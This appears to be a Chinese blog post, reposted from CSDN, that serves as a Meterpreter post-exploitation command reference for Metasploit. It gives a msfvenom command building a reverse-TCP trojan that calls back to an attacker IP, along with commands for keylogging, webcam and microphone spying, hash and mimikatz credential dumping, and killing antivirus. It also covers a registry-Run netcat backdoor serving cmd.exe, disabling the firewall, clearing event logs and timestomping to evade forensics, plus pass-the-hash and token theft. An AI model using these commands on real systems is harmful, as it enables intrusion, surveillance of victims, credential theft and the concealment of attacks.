渗透测试 ( 4 ) --- Meterpreter 命令详解

From:https://blog.csdn.net/weixin_45605352/article/details/115824811

<<Web 安全攻防(渗透测试实战指南)>>

1、初识 Meterpreter

1.1.什么是 Meterpreter

   Meterpreter 是 Metasploit 框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell 的链接。Meterpreter shell 作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开 shell、得到用户密码、上传下载远程主机的文件、运行 cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外 Meterpreter 能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此 HIDS [基于主机的入侵检测系统] 很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。

  Meterpreter 还可以简化任务创建多个会话。可以来利用这些会话进行渗透。在 Metasploit Framework 中,Meterpreter 是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型 Payload。这种工具是基于 "内存DLL注入" 理念实现的,它能够通过创建一个新进程并调用注入的 DLL 来让目标系统运行注入的 DLL 文件。其中,攻击者与目标设备中Meterpreter 的通信是通过 Stager 套接字实现的 meterpreter 作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。

  需要说明的 meterpreter 在漏洞利用成功后会发送第二阶段的代码和 meterpreter 服务器 dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行 help之 后发现缺少命令。 连上 vpn 又在内网中使用 psexec 和 bind_tcp 的时候经常会出现这种情况

1.2.Meterpreter技术优势

  Metasploit 提供了各个主流平台的 Meterpreter 版本,包括 Windows、Linux,同时支持 x86、x64 平台,另外,Meterpreter 还提供了基于 PHP 和 Java 语言的实现。Meterpreter 的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter 还支持 Ruby 脚本形式的扩展。所以 Ruby 语言还很有必要。

2、Meterpreter 中常用反弹 shell 类型

2.1 reverse_tcp:

基于 TCP 的反向链接反弹 shell,使用起来很稳定。

生成 window 木马命令:msfvenom -p  windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=12581  -f exe -o hacker.exe

2.2 reverse_http:

基于 http 方式的反向连接,在网速慢的情况下不稳定

payload:/windows/meterpreter/reverse_http

2.3 reverse_https

基于 https 方式的反向连接,在网速慢的情况下不稳定, https如果反弹没有收到数据,可以将监听端口换成 443 试试。

payload:/windows/meterpreter/reverse_https

2.4 bind_tcp

这是一个基于TCP的正向连接 shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置 LHOST。

payload:/windows/meterpreter/bind_tcp

这里注意,我们设置的IP地址和端口就是目标机的。因为这是我们主动来连接它。

3、相关 Payload

Payload 中包含有需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。

Metasploit中的Payload模块主要有以下三种类型:

  • Single :Single是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到
  • Stager :这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信。
  • Stage :是Stager Payload下载的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。

在 Metasploit 中,我们可以通过 Payload 的名称和使用格式来推断它的类型:
Single Payload 的格式为:<target>/ <single>
Stager/Stage Payload 的格式为:<target>/ <stage> / <stager>
当在 Metasploit 中执行 show payloads 命令之后,它会给我们显示一个可使用的Payload列表

4、Meterpreter 的常用命令

meterpreter 控制技巧总结

meterpreter 收集信息

收集 windows 主机信息

方法一:
        shell
        systeminfo

方法二:
        sysinfo

收集本地(域)用户信息
        shell
        net user
        net user /domain

收集当前用户信息
        shell
        whoami /all

收集主机所运行的服务
        run service_manager -l

查询主机所在地理位置
        run post/multi/gather/wlan_geolocate

查询arp信息
        arp

枚举用户
        run post/windows/gather/enum_computers

读取目标主机的WIFI密码
        run post/windows/wlan/wlan_profile

监视
        run vnc                       VNC 连接,实现屏幕实时监控
        run sound_recorder    声音记录
        run webcam                开启摄像头

收集 linux 主机信息

提升权限常用模块

Windows 提权,绕过 UAC 进行提权,使用以下模块

exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_vbs

提高程序运行级别(runas)使用以下模块:exploit/windows/local/ask,该模块实际是使用更高权限运行程序,没有绕过UAC靶机会有响应,一般不使用。

利用 windows 提权漏洞进行提权

使用 ms13_053、ms14_058、ms16_016、ms16_032 等提权漏洞

对应漏洞补丁编号为

漏洞编号CVE编号补丁编号
ms13_053CVE-2013-3129KB2850851
ms14_058CVE-2014-4148KB3000061
ms16_016CVE-2016-0051KB3019215
ms16_032CVE-2016-0099KB3135174

漏洞利用对应模块(PS.msf版本为metasploit v4.17.24-dev)

漏洞编号msf对应模块
ms13_053exploit/windows/local/ms13_053_schlamperei
ms14_058exploit/windows/local/ms14_058_track_popup_menu
ms16_016exploit/windows/local/ms16_016_webdav
ms16_032exploit/windows/local/ms16_032_secondary_logon_handle_privesc

以上是常用的提权模块,如果以上尝试均失败,请查看漏洞影响的系统版本,以及对应主机中是否安装了月度更新。

使用 meterpreter 命令提权:getsystem

meterpreter 控制逻辑总结

后渗透攻击 ( 命令、模块 ) 

arp
background
clearev
download、upload
execute   执行命令,可执行脚本或程
getprivs  查看当前用户具备的权限
getuid    查看 meterpreter 所在的用户组
getsystem 提权为管理员
sysinfo   查看计算机系统和名称等详细信息
idletime  查看目标系统运行了多长时间
keyscan_start  开启键盘记录
keyscan_dump   键盘记录下载
keyscan_stop   停止键盘记录
load           加载一些带有其他功能(后门)的软件
ps             查看目标系统的所有进程。如果没有root权限或者administrator权限,可以先查看进程,随后根据进程分析目标系统运行了什么软件。可以查找哪些软件有命令执行漏洞用来提权。甚至你还可以查看到目标系统用什么数据库之类的等等。

screenshot  截取目标系统屏幕
search      搜索目标系统的文件
shell       在目标系统打开一个命令行窗口,相当于cmd
web_list    查看目标机器上是否有网络摄像头,并且列举出来
webcam_snap 连接目标系统的摄像头

run get_local_subnets            查询主机路由
run arp_scanner -r x.x.x.x/24    扫描内网存活主机
run domain_list_gen              查询域用户
net use                          使用 ipc 通道访问域内用户
hashdump    导出全域 hash ( 获取目标系统用户密码 hash ),需要有系统权限

db_nmap    内网主机端口扫描:msf 中使用的 db_nmap 实际上实际上使用 nmap 进行扫描生成 xml 格式文件,再导入,因此 db_nmap实际上就是nmap。

模块

run hashdump    获取目标系统哈希值,包括密码提示,需要有”system“权限

1、hashdump 获取目标系统哈希值
    run post/windows/gather/hashdump
    把获取到的哈希值在彩虹表中进行破解,
    访问md5在线解密破解,md5解密加密:https://cmd5.com/

2、migrate
    run post/windows/manage/migrate
    可以将meterpreter当前的进程移动到一个新的进程。
    主要用来防软杀,或者进程不稳定的时候使用这个模块。

3、run killav 关闭对方杀软
    run /post/windows/manage/killav

4、run post/windows/gather/enum_computers
    枚举 Windows 域内所有用户,不包含目标主机

5、run persistence
    写入硬盘,下次目标主机启动时,木马将会自启动
    (不一定成功,建议重新上传后门)

6、run post/multi/gather/wlan_geolocate
    基于WLAN进行地理位置确认。

8、run service_manager
    目标主机系统服务管理

9、run post/windows/wlan/wlan_profile
    获取目标主机WiFi密码

10、run vnc
    屏幕实时监控,配和 录制声音、开启摄像头 效果会更好
    run sound_recoder(录制声音)
    run webcam(开启摄像头)

4.1 全部 基本 命令:

meterpreter > ?

核心 命令
=============
    ?                         帮助
    background                当前 session 放到 后端
    bg                        background 的 别名
    bgkill                    结束一个 后端 meterpreter script
    bglist                    列出正在运行的 后端 scripts
    bgrun                     执行一个 meterpreter script,同时作为后端线程
    channel                   显示信息或控制活动 channel ( 通道 )
    close                     关闭一个 channel
    detach                    分离 meterpreter session (用于 http/https)
    disable_unicode_encoding  禁用unicode字符串编码
    enable_unicode_encoding   启用unicode字符串编码
    exit                      终止 meterpreter session
    get_timeouts              获取当前会话超时时间
    guid                      获取 GUID
    help                      帮助
    info                      Displays information about a Post module
    irb                       在当前会话中打开一个 Ruby shell
    load                      载入一个或者多个 meterpreter 扩展
    machine_id                获取计算机的MSF ID
    migrate                   将服务迁移到其他进程 ( 注入到其他进程 )
    pivot                     Manage pivot listeners
    pry                       Open the Pry debugger on the current session
    quit                      Terminate the meterpreter session
    read                      从 channel 读数据
    resource                  运行存储在文件中的命令
    run                       执行 meterpreter script 或者 Post module
    secure                    (Re)Negotiate TLV packet encryption on the session
    sessions                  快速切换到另一个会话
    set_timeouts              设置当前会话超时值
    sleep                     强制 Meterpreter 睡眠多少秒后再次连接
    ssl_verify                修改SSL证书验证设置
    transport                 Manage the transport mechanisms
    use                       load 的别名,已经弃用。
    uuid                      获取 uuid
    write                     向 channel 写数据


Stdapi: 文件 系统 命令
============================

    Command       Description
    -------       -----------
    cat           
    cd            
    checksum      检索文件的校验和
    cp            
    del           
    dir           
    download      下载文件或者目录
    edit          编辑文件    
    getwd         打印工作目录
    getlwd        打印本地工作目录
    lcat          
    lcd           
    lls           
    lpwd          
    ls           
    mkdir         
    mv            
    pwd           
    rm            
    rmdir         
    search        搜索文件
    show_mount    列出所有挂载点/逻辑驱动器
    upload        上传文件或者目录


Stdapi: 网络 命令
===========================
    arp           显示主机的 ARP 缓存
    getproxy      显示当前代理配置
    ifconfig      显示所有网络接口
    ipconfig      显示所有网络接口
    netstat       显示所有网络连接
    portfwd       转发一个本地端口到远程服务
    resolve       在目标上解析一组主机名
    route         查看并修改路由表


Stdapi: 系统 命令
=======================
    clearev       清除事件日志
    drop_token    放弃任何活动的模拟令牌。
    execute       执行命令
    getenv        获取一个或多个环境变量值
    getpid        获取当前进程 id
    getprivs      尝试启用当前进程可用的所有权限
    getsid        获取 sid
    getuid        获取 uid
    kill          终止进程
    localtime     显示目标系统日期、时间
    pgrep         按名称过滤进程
    pkill         按名称终止进程
    ps            列出运行的进程
    reboot        重启远程电脑
    reg           操作远程注册表
    rev2self      在远程计算机上调用 RevertToSelf()
    shell         进入远程系统 shell
    shutdown      关闭远程电脑
    steal_token   试图从目标进程窃取模拟令牌
    suspend       暂停或恢复进程
    sysinfo       获取有关远程系统的信息,例如:操作系统


Stdapi: 用户 接口 命令
===============================
    enumdesktops   列出所有可访问的桌面和 windows工作站
    getdesktop     获取 meterpreter 桌面
    idletime       返回远程用户空闲的秒数
    keyboard_send  发送按键
    keyevent       发送按键事件
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  开始捕获按键
    keyscan_stop   停止捕获按键
    mouse          发送鼠标事件
    screenshare    实时观察远程用户桌面
    screenshot     截图
    setdesktop     改变 meterpreters 当前桌面
    uictl          控制用户界面组件


Stdapi: 摄像头 命令 ( Webcam Commands )
=======================
    record_mic     从默认麦克风录制音频X秒
    webcam_chat    开始视频聊天
    webcam_list    网络摄像头列表
    webcam_snap    从指定的摄像头拍一个快照
    webcam_stream  播放指定摄像头的视频流


Stdapi: 音频输出命令 ( Audio Output Commands )
=============================
    play          在目标系统上播放一个波形音频文件(.wav)


Priv: 提升权限 
======================
    getsystem     尝试把权限提升到系统权限


Priv: 密码数据库命令
================================   
    hashdump      转储SAM内容。 即 导出全域 hash ( 获取目标系统用户密码 hash )


Priv: timestomp伪造时间戳
========================    
    timestomp     操作文件 MACE 属性

meterpreter >

? / help   # 查看 Meterpreter 帮助

bg / background   # 返回,把 meterpreter 后台挂起

bgkill        # 杀死一个背景 meterpreter 脚本
bglist        # 提供所有正在运行的后台脚本的列表
bgrun       # 作为一个后台线程运行脚本
channel    # 显示活动频道

sessions -i number    # 与会话进行交互
close                 # 关闭通道
exit/quit             # 终止 meterpreter 会话
guid                  # 获取会话 guid

info           # 显示有关Post模块的信息
interact id    # 切换进一个信道
run/exploit    # 执行一个已有的模块
irb            # 进入 Ruby 脚本模式
machine_id     # 获取连接到会话的计算机的MSF id

read            # 从通道读取数据
write           # 将数据写入到一个通道
read            # 从通道读取数据
run和bgrun      # 前台和后台执行以后它选定的 meterpreter 脚本
use             # 加载 meterpreter 的扩展
load/use        # 加载模块
Resource        # 执行一个已有的rc脚本
migrate         # 将服务器迁移到另一个进程
pivot           # 管理数据透视侦听器
set_timeouts    # 设置当前会话超时值
sleep           # 强制MeterMeter保持安静,然后重新建立会话。
uuid            # 获取当前会话的uuid

sessions 控制命令

msf exploit(windows/local/ms16_016_webdav) > sessions -h
Usage: sessions [options] or sessions [id]

Active session manipulation and interaction.

OPTIONS:

    -C <opt>  Run a Meterpreter Command on the session given with -i, or all
    -K        Terminate all sessions
    -S <opt>  Row search filter.
    -c <opt>  Run a command on the session given with -i, or all
    -d        List all inactive sessions
    -h        Help banner
    -i <opt>  Interact with the supplied session ID
    -k <opt>  Terminate sessions by session ID and/or range
    -l        List all active sessions
    -n <opt>  Name or rename a session by ID
    -q        Quiet mode
    -s <opt>  Run a script or module on the session given with -i, or all
    -t <opt>  Set a response timeout (default: 15)
    -u <opt>  Upgrade a shell to a meterpreter session on many platforms
    -v        List all active sessions in verbose mode
    -x        Show extended information in the session table

Many options allow specifying session ranges using commas and dashes.
For example:  sessions -s checkvm -i 1,3-5  or  sessions -k 1-2,5,6

4.2 文件系统命令

cat      # 查看文件内容,文件必须存在
cd       # 更改目录
checksum # 检索文件的校验和
cp       # 复制源到目标
dir/ls   # 目录列表文件(ls的别名)

download # 下载文件或目录

upload   # 上载文件或目录

edit     # 编辑文件

getlwd   # 打开本地工作目录
getwd    # 打开工作目录
lcd      # 更改本地工作目录
lls      # 列出本地文件
lpwd     # 打印本地工作目录
mkdir    # 生成目录
mv       # 将源移动到目标/修改目标主机上的文件名
pwd      # 打印工作目录
rm       # 删除指定的文件
rmdir    # 删除目录
search   # 搜索文件
show_mount   # 显示装载列表所有装载点/逻辑驱动器
enumdesktops # 用户登录数

4.3 系统命令

clearev       清除事件日志

drop_token    放弃任何活动的模拟令牌。
execute       执行命令

目标主机上立马弹出来一个记事本程序,这样太明显,如果希望隐藏后台执行,加参数-H

getenv        获取一个或多个环境变量值
getpid        获取当前进程 id
getprivs      尝试启用当前进程可用的所有权限
getsid        获取 sid。获取运行服务器的用户
getuid        获取 uid。

kill          终止进程
localtime     显示目标系统日期、时间
pgrep         按名称过滤进程
pkill         按名称终止进程
ps            列出运行的进程
reboot        重启远程电脑
reg           操作远程注册表
rev2self      在远程计算机上调用 RevertToSelf()
shell         进入远程系统 shell
shutdown      关闭远程电脑
steal_token   试图从目标进程窃取模拟令牌
suspend       暂停或恢复进程
sysinfo       获取有关远程系统的信息,例如:操作系统

4.4 网络命令

arp           显示主机的 ARP 缓存

getproxy      显示当前代理配置

ifconfig / ipconfig     显示所有网络接口

netstat       显示所有网络连接

portfwd       转发一个本地端口到远程服务

resolve       在目标上解析一组主机名

route         查看并修改路由表

4.5 用户 界面 命令

enumdesktops   列出所有可访问的桌面和 windows工作站
getdesktop     获取当前 meterpreter 桌面
idletime       返回远程用户空闲的秒数

keyboard_send  发送按键

目标服务器就输入了发送的击键 

keyevent       发送按键事件
keyscan_dump   Dump the keystroke buffer
keyscan_start  开始捕获按键
keyscan_stop   停止捕获按键

mouse          发送鼠标事件
screenshare    实时观察远程用户桌面
screenshot     截图

setdesktop     改变 meterpreters 当前桌面
uictl          控制用户界面组件

4.6 网络摄像头命令

record_mic     从默认麦克风录制音频X秒
webcam_chat    开始视频聊天
webcam_list    网络摄像头列表
webcam_snap    从指定的摄像头拍一个快照
webcam_stream  播放指定摄像头的视频流

4.7 mimikatz ( 内网渗透神器 )

内网渗透神器(Mimikatz)使用教程:https://blog.csdn.net/weixin_40412037/article/details/113348310

meterpreter > load mimikatz # 加载mimikatz
meterpreter > msv # 获取hash值
meterpreter > kerberos # 获取明文

meterpreter > ssp # 获取明文信息
meterpreter > wdigest # 获取系统账户信息

meterpreter > mimikatz_command -f a:: # 必须要以错误的模块来让正确的模块显示
meterpreter > mimikatz_command -f hash:: # 获取目标 hash
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f sekurlsa::searchPasswords

4.8 网络嗅探

use sniffer                      加载嗅探模块。
sniffer_interfaces            列出目标主机所有开放的网络端口 ( 即所有网卡 )。
sniffer_start interfaceID     开始嗅探。
sniffer_stop interfaceID      停止嗅探。
sniffer_start interfaceID packet-buffer  对特定范围的数据包缓冲区启动嗅探。
sniffer_stats interfaceID                获取正在实施嗅探网络接口的统计数据。
sniffer_dump interfaceID filename        保存抓取的数据包

对抓取的包进行解包:

use auxiliary/sniffer/psnuffle
set pcapfile 1.cap
run

4.9 获取敏感信息

run post/windows/gather/checkvm  # 是否虚拟机

run post/windows/gather/enum_applications    # 获取安装软件信息

run post/windows/gather/dumplinks    # 获取最近的文件操作

run post/windows/gather/enum_ie    # 获取IE缓存

run post/windows/gather/enum_chrome    # 获取Chrome缓存

run scraper    # 获取常见信息

4.10 获取 Hash

使用 "hashdump" 命令可以从系统提取用户名和密码 hashes。使用 hashdump 命令可以获取目标主机的 SAM 文件,获取目标主机的账号密码 hash 信息,剩下的可以用爆破软件算出明文密码,微软一般用 LM,NTML 和 NTLMv2 形式的哈希表存储密码。若想运行这个命令,需要有注册表和SAM [Security Account Manager]的系统的权限,如果你是作为一个普通的用户登陆的话,你需要提升权限,这我们将在后面提到。

run post/windows/gather/smart_hashdump

数据的输出格式为:用户名:SID:LM哈希:NTLM哈希:::

use post/windows/gather/hashdump
set session 2
run

检查已有权限+系统类型
检查是否为域控制器
从注册表读 hash,若失败,注入LSASS进程;若域控制器,直接注入LSASS进程
若win2008+会话管理员权限,尝试使用getsystem,若在system不能注入LSASS,先migrate到system权限下的进程,继续注入LSASS
若win7/Vista+UAC关闭+会话管理员权限,尝试getsystem,读取hash
若win2003/xp/2000,直接getsystem,读取hash

4.11 通过 Hash 获取权限

use exploit/windows/smb/psexec
set RHOST 192.168.1.104
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:b31d50d887e8f5b9fde7a7d95013da1a  
run

4.12 得到远程桌面

使用命令 "run vnc" 将会弹出窗口,在此窗口中就是对方现在打开的桌面情况,在这里,可以对远程机器进行操控。

4.13 权限提升

这是 meterpreter 中实施漏洞利用系统特权要求的一个重要的模块。为了这个目的,我们必须用PRIV extention.,在旧版本的Metasploit中Priv extension并不自动装载,使用“use priv”手动加载的。然而在后来的msf版本中并不需要担心这一点。
使用“getuid”获得当前的权限,migrate+PID迁移进程(当我们攻击一个系统是,常常是对像是IE之类的服务漏洞进行利用的,可是不免有对方关闭IE的情况,那么我们的meterpreter会话将会关闭,从而导致与目标系统失去连接,所以我们可以使用迁移进程后的攻击模块,将sessions迁移到内存空间中的其他稳定的、不会被关闭的服务进程中,以维持稳定的系统控制),从列表中看到PID为232的是administrator权限,所以是迁移到administrator的权限,“getsystem –h”升级为权限SYSTEM账户。这个模块可以用来提升我们的特权,有四个技巧。Meterpreter自动检查四个方法并且尝试其最好方法。然后看到我们权限又变为了system权限了。

ps   # 列出正在运行进程。

migrate pid   # 将 Meterpreter 会话移植到进程数为pid的进程中,需要注意的是如果存在杀软的话可能会阻止进程注入,所以把会话进程注入到 svchost.exe 是一个好方法
getprivs        # 尽可能获取尽可能多的特权
getuid           # 获得当前的权限
getsystem    # 通过各种攻击向量将一个管理帐户(通常为本地Administrator账户)提升为本地SYSTEM帐户
getsystem -h

使用 MS14-058 之类的 Exp 进行提权

use exploit/windows/local/ms14_058_track_popup_menu
set SESSION 3
run

4.14 盗取令牌

use incognito      # 加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)
list_tokens -u     # 列出目标主机用户的可用令牌
list_tokens -g     # 列出目标主机用户组的可用令牌
impersonate_token DOMAIN_NAME\USERNAME  # 假冒目标主机上的可用令牌
execute -f cmd.exe -i -t              # 调用域权限shell
add_user 0xfa funny –h 192.168.1.104  # 在域控主机上添加账户
reg command        # 在目标主机注册表中进行交互,创建,删除,查询等操作
setdesktop number  # 切换到另一个用户界面(该功能基于哪些用户已登录)
ps                 # 查看目标机器进程,找出域控账户运行的进程ID
steal_token pid    # 盗窃给定进行的可用令牌并进行令牌假冒
drop_token pid     # 停止假冒当前令牌 

4.15 清除事件日志 ( 打扫战场 )

完成攻击操作之后,千万别忘了 "打扫战场" 。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用命令 "clearev" 命令来清除事件日志

Win+R 输入eventvwr.msc 打开事件查看器,里面的应用程序、安全性、系统都是空的:

4.17 一些脚本命令 ( Meterpreter Script )

为获取远程机器上的信息,在 meterpreter 中还有很多脚本可用,。使用 "run scriptname" 来使用meterpreter 模块中的脚本命令,做进一步的渗透测试。

run post/windows/gather/checkvm:后渗透模块,确定目标主机是否是一台虚拟机

run packetrecorder -i 1:查看目标系统的所有网络流量,并且进行数据包记录,-i 1指定记录数据包的网卡。
run get_local_subnets:得到本地子网网段

run getcountermeasure:显示HIPS和AV进程的列表,显示远程机器的防火墙规则,列出DEP和UAC策略

run scraper:从目标主机获得所有网络共享等信息,并且获得的这些所有这些信息都存储在/root/.msf4/logs/scripts/scraper directory目录下。使用 ls 命令查看存储的这些文件。

run killav:命令终止Av进程,可以很快的清除我们的路径和有效渗透测试的记录,但是这个脚本,不能绝对得逃避杀毒软件,但是如果成功了对被攻击者会是一个严重的打击,对他造成很大的困扰

run hashdump:获得密码哈希值,运行这个脚本和在meterpreter下直接运行hashdump结果差不多。
run keylogrecorder:命令为记录键盘信息,运行这个脚本和在meterpreter下直接运行keyscan结果差不多,这里将对键盘记录的文件进行保存,路径如下。

run persistence:我们知道 Meterpreter 的强大之处之一在于它运行于内存中,不易被杀毒软件发现,但只要目标机环境合适,或你对自己的免杀足够自信,可通过该命令写入硬盘,下次目标机启动时,木马将会自启动。示例:run  persistence -X -i  5  -p 12581 -r 192.168.1.107   #植入后门

执行过程:
创建攻击载荷 -> 攻击载荷植入到目标主机 c:\windows\temp目录下,是一个.vbs的脚本 -> 写目标主机注册表键值实现开机自动运行。

下图,在攻击主机上监听12581端口,等待反弹会话成功

下图,看目标主机注册表 Run 键值果然被写入了一个 PplUOJWzOoTqiKa 的键值,执行后门 vbs 脚本

enum_drives:在获取meterpreter会话session后,调用post/windows/gather/forensics/enum_drives,可获取目标主机存储器信息。

use post/windows/gather/forensics/enum_drives
set SESSION 6
run

或直接在 meterpreter 会话中以命令 run post/windows/gather/forensics/enum_drives 调用

4.18 SOCKS代理

Metasploit 可以作为一个 SOCKS 代理服务器,具体步骤为首先通过 Metasploit 的某些模块建立会话,就像本章前面介绍的,建立完会话之后,执行 "route add +IP+mask+SID" 然后使用 "use auxiliary/server/socks4a" 命令来使用 sock4a 模块,执行 run 命令 ,socks 便会执行,然后再在命令行下执行 proxychains 命令,使用代理对目标主机进行扫描,nmap,nc 等都可以。

4.19 运行程序

execute:在目标系统中执行应用程序。这个命令的使用方法如下:

execute -f<file> [Options]

运行后它将执行file参数所指定的文件。可选参数如下:

  • -H:创建一个隐藏进程
  • -a:传递给命令的参数
  • -i:跟进程进行交互
  • -m:从内存中执行
  • -t:使用当前伪造的线程令牌运行进程
  • -s:在给定会话中执行进程
  • -f 执行的程序文件
  • -d 在目标主机执行时显示的进程名称(用以伪装)
  • -o wce.txt 是 wce.exe 的运行参数

4.20 创建账号

run getgui -e 开启目标主机远程桌面

run getgui -u test -p test 创建新账户,虽然有报错但是账户已经创建完成:

rdesktop 192.168.1.104 添加完账户使用redesktop命令连接一下远程主机。

输入账户名密码登录,对目标机器直接进行控制:

4.21 启用远程桌面

当我们新添加的用户已经拥有远程桌面权限之后,我们就可以使用这个账号凭证来开启远程桌面会话了。

首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),不过我们的getgui脚本可以帮我们搞定。我们可以使用-e参数确保目标设备开启了远程桌面功能(重启之后同样会自动开启):

在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长,这样可以降低你被发现的概率

可以用 run post/windows/manage/enable_rdp 或者 run getgui -e 来开启远程桌面

4.22 绑定进程

Meterpreter既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。

使用“getpid”找出需要绑定的进程,接下来,使用migrate命令+pid来绑定进程(需要先关闭防火墙)。

4.23 通过其 shell 来关闭防火墙

NetSh Advfirewall set allprofiles state off(区分大小写)

目标防火墙已关闭:

但是我们可以看出,如果目标管理员查看防火墙配置,发现防火墙被人为关闭,那么必定引起管理员的警惕!因此,我们还可以通过策略的添加,来隐蔽我们的行为。

netsh firewall add portopening TCP 444 “VMWARE” ENABLE ALL

伪装成一个系统正常的进程,之后远程重启目标系统,并利用 NC 连接即可!

4.24 利用注册表添加 NC 后门

上传 NC 到目标系统:upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32

枚举注册表内容(开机启动):reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

在该注册表增加内容(开机启动):reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d "C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe"

查看内容是否增加成功:reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc

4.25 基于MACE时间的反电子取证

timestomp -v test.txt  # 查看当前目标文件 MACE 时间。

timestomp c:/test.txt -c “10/27/2015 14:22:11” #修改文件的创建时间,例如修改文件的创建时间(反取证调查)

timestomp -f c:\AVScanner.ini test.txt (将模板文件MACE时间,复制给当前文件)

4.26 内网代理

meterpreter > run autoroute -s 192.168.1.0/24
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306
msf auxiliary(tcp) > set RHOSTS 192.168.1.104/24
msf auxiliary(tcp) > set THERADS 10
msf auxiliary(tcp) > exploit
meterpreter > background
msf exploit(handler) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > route print
msf auxiliary(socks4a) > ifconfig
msf auxiliary(socks4a) > set SRVHOST xxx.xxx.xx.xx #xxx.xxx.xx.xx为自己运行msf的vps机子'
msf auxiliary(socks4a) > exploit

4.27 SSH 代理

msf > load meta_ssh
msf > use multi/ssh/login_password
msf > set RHOST 192.168.1.104
msf > set USER test
msf > set PASS reverse
msf > set PAYLOAD ssh/metassh_session
msf > exploit -z

msf > route add 192.168.57.0 255.255.255.0 1

之后就是愉快的内网扫描了,当然还是推荐直接用

ssh -f -N -D 127.0.0.1:6666 test@103.224.81.1.1

4.28 内网扫描

meterpreter > run autoroute -s 192.168.3.98
meterpreter > background
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306
msf auxiliary(tcp) > set RHOSTS 192.168.1.1/24

4.29 常用的破解模块

auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
auxiliary/scanner/ftp/anonymous

4. 30 一些好用的模块

auxiliary/admin/realvnc_41_bypass  (Bypass VNCV4网上也有利用工具)
auxiliary/admin/cisco/cisco_secure_acs_bypass (cisco Bypass 版本5.1或者未打补丁5.2版洞略老)
auxiliary/admin/http/jboss_deploymentfilerepository (内网遇到Jboss最爱:))
auxiliary/admin/http/dlink_dir_300_600_exec_noauth (Dlink 命令执行:)
auxiliary/admin/mssql/mssql_exec (用爆破得到的sa弱口令进行执行命令没回显:()
auxiliary/scanner/http/jboss_vulnscan (Jboss 内网渗透的好朋友)
auxiliary/admin/mysql/mysql_sql (用爆破得到的弱口令执行sql语句:)
auxiliary/admin/oracle/post_exploitation/win32exec (爆破得到Oracle弱口令来Win32命令执行)
auxiliary/admin/postgres/postgres_sql (爆破得到的postgres用户来执行sql语句)
auxiliary/scanner/rsync/modules_list  (Rsync)
auxiliary/scanner/misc/redis_server  (Redis)
auxiliary/scanner/ssl/openssl_heartbleed (心脏滴血)
auxiliary/scanner/mongodb/mongodb_login (Mongodb)
auxiliary/scanner/elasticsearch/indices_enum (elasticsearch)
auxiliary/scanner/http/axis_local_file_include (axis本地文件包含)
auxiliary/scanner/http/http_put (http Put)
auxiliary/scanner/http/gitlab_user_enum (获取内网gitlab用户)
auxiliary/scanner/http/jenkins_enum (获取内网jenkins用户)
auxiliary/scanner/http/svn_scanner (svn Hunter :))
auxiliary/scanner/http/tomcat_mgr_login (Tomcat 爆破)
auxiliary/scanner/http/zabbix_login (Zabbix :))

5、meterpreter 的所有 script

在获得 meterpreter 的 session 后,除了 meterpreter 本身内置的一些基本功能,在 /usr/share/metasploit-framework/scripts/meterpreter 下面还有很多 scripts,提供了很多额外功能,非常好用。查看脚本帮助命令run 脚本名 -h

arp_scanner  利用 arp 进行存活主机扫描

run  arp_scanner-r  192.168.1.0/24

